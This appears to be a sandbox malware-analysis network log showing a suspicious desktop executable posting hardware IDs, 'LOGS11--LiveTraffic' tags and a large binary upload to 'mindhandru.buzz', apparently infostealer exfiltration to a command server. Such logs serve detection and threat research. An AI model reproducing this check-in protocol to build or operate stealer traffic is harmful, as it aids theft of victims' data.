zSBqYNQmw+JJ3QcarncqxFUn7T3FzgivLIoGZFOutMjRcVpI+Tue90T4CwLnUnv4zQOJJLTvDNY42zZ4Vpv9zPVtflTRK57uDcUTVoZnMrBhG7Eh7bIAsxiSBixDmpDh9HxqYIQmw+LJnVM2mmNC1E07/SGYhzWrRKJzZQfC3JDpOFIZ5TuT4yTBEzqeTwLAASO9KeWiKLsgsjZ0d4aIwMVpdnDZN4baYfwKJ4ZPe/koNyF51bY5q32GU2R7q52
2024-12-27 13:56:17 UTC	1369	IN	Data Raw: 33 78 6c 43 2f 72 32 57 5a 67 44 79 6f 70 72 49 75 51 51 4e 39 6e 6f 34 49 59 77 77 67 48 65 30 67 46 6e 68 71 33 4e 6c 45 55 2b 59 4f 55 37 79 72 70 5a 38 55 38 79 73 6d 4f 53 78 46 56 76 71 53 6e 56 77 69 6d 62 4c 49 73 33 58 57 65 47 2f 63 32 55 52 64 5a 67 76 53 73 65 37 67 48 6b 43 69 65 47 54 30 50 35 4b 44 64 63 46 5a 47 4b 54 4b 63 38 2b 73 39 6c 42 2f 35 6c 7a 4e 6b 64 64 6a 7a 70 66 34 37 57 64 59 58 79 48 2b 63 43 55 37 45 41 66 75 31 6f 32 66 72 78 6b 67 43 37 4e 77 53 44 2f 35 79 56 39 43 51 6a 52 65 56 75 6f 34 4e 45 33 51 64 57 7a 6b 73 57 6f 45 51 72 58 65 31 46 33 69 53 33 51 4b 4a 71 57 57 61 6a 6e 50 48 30 4a 59 39 38 77 54 76 4f 70 68 33 31 53 77 4f 47 72 69 50 34 4b 44 62 45 46 51 32 4b 4e 4a 4d 63 35 6e 4e 51 2b 38 4b 30 30 4c 56 5a Data Ascii: 3xlC/r2WZgDyoprIuQQN9no4IYwwgHe0gFnhq3NlEU+YOU7yrpZ8U8ysmOSxFVvqSnVwimbLIs3XWeG/c2URdZgvSse7gHkCieGT0P5KDdcFZGKTKc8+s9lB/5lzNkddjzpf47WdYXyH+cCU7EAfu1o2frxkgC7NwSD/5yV9CQjReVuo4NE3QdWzksWoEQrXe1F3iS3QKJqWWajnPH0JY98wTvOph31SwOGriP4KDbEFQ2KNJMc5nNQ+8K00LVZ
2024-12-27 13:56:17 UTC	1369	IN	Data Raw: 71 53 32 6d 6e 42 46 31 37 65 50 69 72 59 52 56 2f 4e 37 53 45 71 50 4c 4d 63 31 69 70 38 2f 78 75 64 39 66 56 34 61 78 77 41 4a 6f 50 69 75 50 67 4c 66 34 63 79 47 69 78 46 44 35 30 4a 67 63 4d 34 43 34 78 57 33 32 7a 58 68 73 6e 45 4a 56 6b 71 4f 4d 6b 54 6b 2b 4e 38 77 52 49 66 35 78 49 6a 2b 46 6c 79 70 48 53 59 7a 32 48 2b 54 65 4e 33 4c 42 71 69 2b 63 79 73 52 41 73 31 33 43 66 72 34 79 54 41 46 78 4c 4f 47 77 4c 30 45 54 71 35 37 53 45 61 4e 4c 63 45 35 6e 59 34 57 32 4a 6b 6d 50 6c 39 55 6d 43 39 59 71 50 62 52 66 77 4b 66 6d 4e 53 4f 2f 69 30 44 71 56 30 32 4f 63 4d 66 77 79 47 44 6e 67 2f 33 36 68 51 7a 56 6c 75 4a 4b 56 37 6e 2b 4e 38 77 52 49 66 35 78 6f 6a 2b 46 6c 79 70 48 53 59 7a 32 48 2b 54 65 4e 33 4c 42 71 69 2b 63 79 73 52 41 73 31 33 Data Ascii: qS2mnBF17ePirYRV/N7SEqPLMc1ip8/xud9fV4axwAJoPiuPgLf4cyGixFD50JgcM4C4xW32zXhsnEJVkqOMkTk+N8wRIf5xIj+FlypHSYz2H+TeN3LBqi+cysRAs13Cfr4yTAFxLOGwL0ETq57SEaNLcE5nY4W2JkmPl9UmC9YqPbRfwKfmNSO/i0DqV02OcMfwyGDng/36hQzVluJKV7n+N8wRIf5xoj+FlypHSYz2H+TeN3LBqi+cysRAs13
2024-12-27 13:56:17 UTC	1369	IN	Data Raw: 4e 51 52 64 47 69 31 49 6a 2b 48 67 32 78 42 58 64 72 6b 79 66 50 4b 4d 47 65 41 2b 48 6e 66 58 31 66 47 73 64 35 53 4f 4b 6f 6e 48 39 46 69 36 65 61 79 50 34 4e 41 2f 41 46 59 43 48 62 65 59 35 76 6e 39 6c 42 70 75 41 77 4c 30 4e 63 6e 43 39 4b 72 34 61 76 58 56 44 41 73 5a 65 45 6a 78 39 4a 2f 31 42 31 63 59 51 55 2f 67 4b 66 6e 67 6e 6c 35 51 49 72 55 6c 71 52 50 67 6d 6d 2b 49 6b 77 47 6f 65 4d 68 73 47 75 45 51 32 6e 42 58 6f 68 32 32 72 4e 50 59 71 4a 47 71 71 67 4b 54 6f 52 52 64 45 67 43 66 37 34 79 53 4d 4d 68 37 50 55 6e 76 35 56 51 2b 52 45 64 57 2b 41 4f 4e 49 70 6a 6f 38 61 6f 5a 6b 4e 45 45 4e 64 6a 7a 6f 4c 32 62 57 56 5a 6c 66 45 73 5a 50 34 67 44 39 66 37 6c 56 31 49 36 38 74 7a 53 4f 7a 70 79 37 33 6f 43 4e 2f 64 31 6d 4a 4f 67 6d 6d 2b Data Ascii: NQRdGi1Ij+Hg2xBXdrkyfPKMGeA+HnfX1fGsd5SOKonH9Fi6eayP4NA/AFYCHbeY5vn9lBpuAwL0NcnC9Kr4avXVDAsZeEjx9J/1B1cYQU/gKfngnl5QIrUlqRPgmm+IkwGoeMhsGuEQ2nBXoh22rNPYqJGqqgKToRRdEgCf74ySMMh7PUnv5VQ+REdW+AONIpjo8aoZkNEENdjzoL2bWVZlfEsZP4gD9f7lV1I68tzSOzpy73oCN/d1mJOgmm+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49709	172.67.165.185	443	3664	C:\Users\user\Desktop\O53VxanH6A.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:56:19 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WG29RCE04ZP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12808 Host: mindhandru.buzz
2024-12-27 13:56:19 UTC	12808	OUT	Data Raw: 2d 2d 57 47 32 39 52 43 45 30 34 5a 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 30 38 38 38 43 42 46 45 41 38 35 37 38 44 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 57 47 32 39 52 43 45 30 34 5a 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 57 47 32 39 52 43 45 30 34 5a 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 57 47 32 39 52 43 45 30 34 5a 50 Data Ascii: --WG29RCE04ZPContent-Disposition: form-data; name="hwid"700888CBFEA8578DBEBA0C6A975F1733--WG29RCE04ZPContent-Disposition: form-data; name="pid"2--WG29RCE04ZPContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--WG29RCE04ZP
2024-12-27 13:56:20 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 13:56:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e1jarq91r16b46tdi2687fnjbi; expires=Tue, 22 Apr 2025 07:42:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pBHEEqY21zCSSKuXH89a5%2BfxpilbNMCvoecMbm3PaQpn%2FSLhB8VbnhzB8rgz5JKUGIvnPeS8r7sxOPRgWJh1xbyYI7IpGXJNaJqV8C9gGzvOvKYsc5QC5Lva6jD%2FRrGH6Ek%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89d0346fa042b9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2150&min_rtt=2150&rtt_var=806&sent=10&recv=18&lost=0&retrans=0&sent_bytes=2836&recv_bytes=13740&delivery_rate=1357508&cwnd=184&unsent_bytes=0&cid=a003a502dd3aceae&ts=905&x=0"
2024-12-27 13:56:20 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 13:56:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49715	172.67.165.185	443	3664	C:\Users\user\Desktop\O53VxanH6A.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:56:21 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1FRVAZDE06JR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15046 Host: mindhandru.buzz
2024-12-27 13:56:21 UTC	15046	OUT	Data Raw: 2d 2d 31 46 52 56 41 5a 44 45 30 36 4a 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 30 38 38 38 43 42 46 45 41 38 35 37 38 44 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 31 46 52 56 41 5a 44 45 30 36 4a 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 31 46 52 56 41 5a 44 45 30 36 4a 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 31 46 52 56 41 5a 44 45 Data Ascii: --1FRVAZDE06JRContent-Disposition: form-data; name="hwid"700888CBFEA8578DBEBA0C6A975F1733--1FRVAZDE06JRContent-Disposition: form-data; name="pid"2--1FRVAZDE06JRContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--1FRVAZDE
2024-12-27 13:56:22 UTC	1132	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 13:56:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1kv3rk8upmacba2c53a7l7392d; expires=Tue, 22 Apr 2025 07:43:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Wdk%2B60Qghnh3nfWxUMityQXFYQ2Nw1GeAAMH%2BxX01Wsr98ZuQ8vZvzYZ0dGY%2FbMhnVfiCUXleYfE3M62qqVEE64lQfX%2FIVxQdcy2wBAiHv6V%2FD1WQZBOQzLoFFHGOFa3ZU8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89d0451af942ea-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1883&min_rtt=1774&rtt_var=743&sent=15&recv=19&lost=0&retrans=0&sent_bytes=2838&recv_bytes=15979&delivery_rate=1645997&cwnd=143&unsent_bytes=0&cid=c2ea88639e3b4aae&ts=1038&x=0"
2024-12-27 13:56:22 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 13:56:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49723	172.67.165.185	443	3664	C:\Users\user\Desktop\O53VxanH6A.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:56:24 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4KOKPKIA2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20353 Host: mindhandru.buzz
2024-12-27 13:56:24 UTC	15331	OUT	Data Raw: 2d 2d 34 4b 4f 4b 50 4b 49 41 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 30 38 38 38 43 42 46 45 41 38 35 37 38 44 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 34 4b 4f 4b 50 4b 49 41 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 34 4b 4f 4b 50 4b 49 41 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 34 4b 4f 4b 50 4b 49 41 32 0d 0a 43 6f 6e 74 65 6e Data Ascii: --4KOKPKIA2Content-Disposition: form-data; name="hwid"700888CBFEA8578DBEBA0C6A975F1733--4KOKPKIA2Content-Disposition: form-data; name="pid"3--4KOKPKIA2Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--4KOKPKIA2Conten
2024-12-27 13:56:24 UTC	5022	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d ae 2f f8 f5 58 32 78 29 1e bc 14 fc db e0 ab e6 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 6K~`iO\_,mi`m?ls}Qm/X2x)
2024-12-27 13:56:25 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 13:56:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h8jgn009kp7pkefsuh0vasm481; expires=Tue, 22 Apr 2025 07:43:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9pI5BaXISqtzNibNwf9UuSGLAFmZAGchMpWoFiAqb9AG%2F41C1OUJgaBQuTF6L%2B48ywhQPNEOWEP%2FC1wSM3noFzH07%2B%2BQtfq2tMCXWPDHSSDuv3ZbwHz%2BJxpHMHmntWU06xQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89d0548ffb42bc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1646&min_rtt=1644&rtt_var=621&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2837&recv_bytes=21305&delivery_rate=1755862&cwnd=225&unsent_bytes=0&cid=5a0774ec7383e050&ts=979&x=0"
2024-12-27 13:56:25 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 13:56:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49736	172.67.165.185	443	3664	C:\Users\user\Desktop\O53VxanH6A.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:56:27 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UJGQ2K8EDRHV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1217 Host: mindhandru.buzz
2024-12-27 13:56:27 UTC	1217	OUT	Data Raw: 2d 2d 55 4a 47 51 32 4b 38 45 44 52 48 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 30 38 38 38 43 42 46 45 41 38 35 37 38 44 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 55 4a 47 51 32 4b 38 45 44 52 48 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 55 4a 47 51 32 4b 38 45 44 52 48 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 55 4a 47 51 32 4b 38 45 Data Ascii: --UJGQ2K8EDRHVContent-Disposition: form-data; name="hwid"700888CBFEA8578DBEBA0C6A975F1733--UJGQ2K8EDRHVContent-Disposition: form-data; name="pid"1--UJGQ2K8EDRHVContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--UJGQ2K8E
2024-12-27 13:56:28 UTC	1124	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 13:56:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f400e4hno6p4l2k6roddrbjbd8; expires=Tue, 22 Apr 2025 07:43:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PEyj%2BunBgmqfEGlRrf5Is%2BVi8rYJoDtCqy6H3NzfO1emQVoYfb4vnuKpBjUGKqP6NAAwwLFPb3XD0t8MT5HfTnZ079%2F7uOPqwKSEY4go63cRPtOg5bXde8lnT3SkxJUiI9I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89d0690fe65590-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1481&min_rtt=1480&rtt_var=557&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=2127&delivery_rate=1961047&cwnd=142&unsent_bytes=0&cid=883527eaf7812a2c&ts=804&x=0"
2024-12-27 13:56:28 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 13:56:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49742	172.67.165.185	443	3664	C:\Users\user\Desktop\O53VxanH6A.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:56:30 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AXXKSMILN9C6BF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 552680 Host: mindhandru.buzz
2024-12-27 13:56:30 UTC	15331	OUT	Data Raw: 2d 2d 41 58 58 4b 53 4d 49 4c 4e 39 43 36 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 30 38 38 38 43 42 46 45 41 38 35 37 38 44 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 41 58 58 4b 53 4d 49 4c 4e 39 43 36 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 41 58 58 4b 53 4d 49 4c 4e 39 43 36 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 41 58 Data Ascii: --AXXKSMILN9C6BFContent-Disposition: form-data; name="hwid"700888CBFEA8578DBEBA0C6A975F1733--AXXKSMILN9C6BFContent-Disposition: form-data; name="pid"1--AXXKSMILN9C6BFContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--AX
2024-12-27 13:56:30 UTC	15331	OUT	Data Raw: 81 6f 5d 43 f2 fb 32 88 0a a9 27 15 75 50 8c 87 94 36 e6 2c 86 a2 01 3d 66 a9 fa a9 09 63 71 a9 36 e3 9c 13 c4 30 90 42 30 ed e5 94 4c 87 3c 1c 88 4d e3 dc 36 35 8c 13 cd 76 a8 e0 91 6d 83 29 a2 bb 65 1a 54 3f ce c7 b4 88 b2 ff 8c 98 82 3d 52 b4 cb db 50 ec e8 1e b5 94 1f 1d 97 b6 bb ae cb 46 04 27 68 51 ab a0 e3 05 6e 50 56 fb 76 b7 9b 07 ef 8d 37 f8 21 ba 1e 27 69 a9 59 6f 31 b6 46 7e 43 71 56 7f b5 f4 94 f1 09 0b 07 29 0a 89 91 85 88 ca 55 8d d9 bc 15 e0 77 80 aa 0c 05 11 c0 cc 00 9a c5 b1 1d bd fc a7 69 68 99 9c 1d 44 9a 68 ac ff 9c d2 c6 9d 30 ba f9 be 5b 22 36 e0 52 6b 6a a4 69 44 f8 00 cf d9 83 54 88 34 d7 7f ff 99 e5 19 9d ab 2b 90 4b a7 65 7d 66 64 fd cf 0f 37 78 36 cc 5a 14 a9 0a 63 a3 45 13 53 39 8c a4 ce 24 b6 b7 a3 f9 78 5d 3c 57 64 d1 9b 87 Data Ascii: o]C2'uP6,=fcq60B0L<M65vm)eT?=RPF'hQnPVv7!'iYo1F~CqV)UwihDh0["6RkjiDT4+Ke}fd7x6ZcES9$x]<Wd
2024-12-27 13:56:30 UTC	15331	OUT	Data Raw: 39 f1 08 df ff 37 e1 18 7f c3 c7 66 c1 05 90 4b 54 4f 3b b3 9d 02 8a cc 18 54 7e 70 78 fe cc 19 83 78 7d 75 6c e8 bf 9c 85 10 5f 27 1a 74 80 f5 07 44 b5 1d 1f 2f f9 28 ff e4 4f c1 92 8b e2 7b 0a 44 a1 8b a0 d5 4d f6 c1 ef 7f 57 ec f3 24 cf 6d a3 99 dd 7f 12 b5 80 4f 82 20 85 0f da c3 2b b8 02 ae 8f 38 dd dc 39 35 cf 6e fa 47 93 b8 02 c5 6e 05 f0 af 8c 46 81 64 04 bc ef c4 7d 8c d0 44 bc 4d 97 a4 f2 56 ae 9f 50 01 99 61 88 aa 59 bc 76 94 94 0e cf e2 4b 91 24 ad 36 36 50 65 33 0b 59 cb 0a 69 58 29 d1 ec 7a df 69 0d ee 27 bc 7a 07 2f 8f 62 81 30 f7 d6 cb f7 17 31 a9 4b 4a 37 7b f0 1a ae c0 04 d0 95 12 33 33 1b 8c 2a 50 1e 98 d4 a9 a1 28 3b c4 a6 eb d8 be 57 98 da e9 5a cb f9 a3 3e 3a a6 bc cb d6 15 35 2e 5f 70 09 ff e2 33 43 fc 3d 33 ed ed 3f 42 7a 6c 5f ae Data Ascii: 97fKTO;T~pxx}ul_'tD/(O{DMW$mO +895nGnFd}DMVPaYvK$66Pe3YiX)zi'z/b01KJ7{33*P(;WZ>:5._p3C=3?Bzl_
2024-12-27 13:56:30 UTC	15331	OUT	Data Raw: 49 72 40 39 7a 73 a3 46 5f 10 cc 3d 2e a7 b7 07 61 2a ea 20 4a d5 ff a6 c9 5c e8 39 c6 09 3d 8b dc 6b 7c fd 91 b8 f4 a5 cc 38 fc 17 a1 5a 13 4d 33 83 89 80 68 1f f5 da 55 8e f2 3a 69 26 92 8c a2 0d 99 d0 2e 41 14 19 8c a7 10 47 39 37 f4 f3 ac bb 1b d4 ad c4 f1 1a 0b fa 75 79 bc b3 20 ca c5 9d 5b 7c a0 e0 22 10 40 53 b9 81 c7 7f 0d 24 7f b4 5d d6 63 1b c2 55 28 ab 50 79 ea 7e 24 62 58 6a 2e e1 43 25 e3 81 3d 23 37 96 98 b6 ca d9 8b fc e3 df e3 1c e6 ce 14 e9 25 37 28 cb 1f 37 81 6a fc f1 85 d0 81 aa 13 03 98 0e 34 53 72 e3 db 63 6b 73 62 77 19 e6 53 25 86 8b c3 ff 55 66 fa 72 ee 03 27 7f b6 71 b7 6a 7c 30 55 a3 1e 8b 23 b6 8c e2 ef 3d a0 e8 e3 53 8e d0 52 fb 2d 8d 65 68 b2 13 c8 7e 8c 95 33 b8 cd 41 1c c9 fc 62 42 1b 39 a4 82 b3 30 68 a8 34 68 76 92 c1 bc Data Ascii: Ir@9zsF_=.a* J\9=k\|8ZM3hU:i&.AG97uy [\|"@S$]cU(Py~$bXj.C%=#7%7(7j4SrcksbwS%Ufr'qj\|0U#=SR-eh~3AbB90h4hv
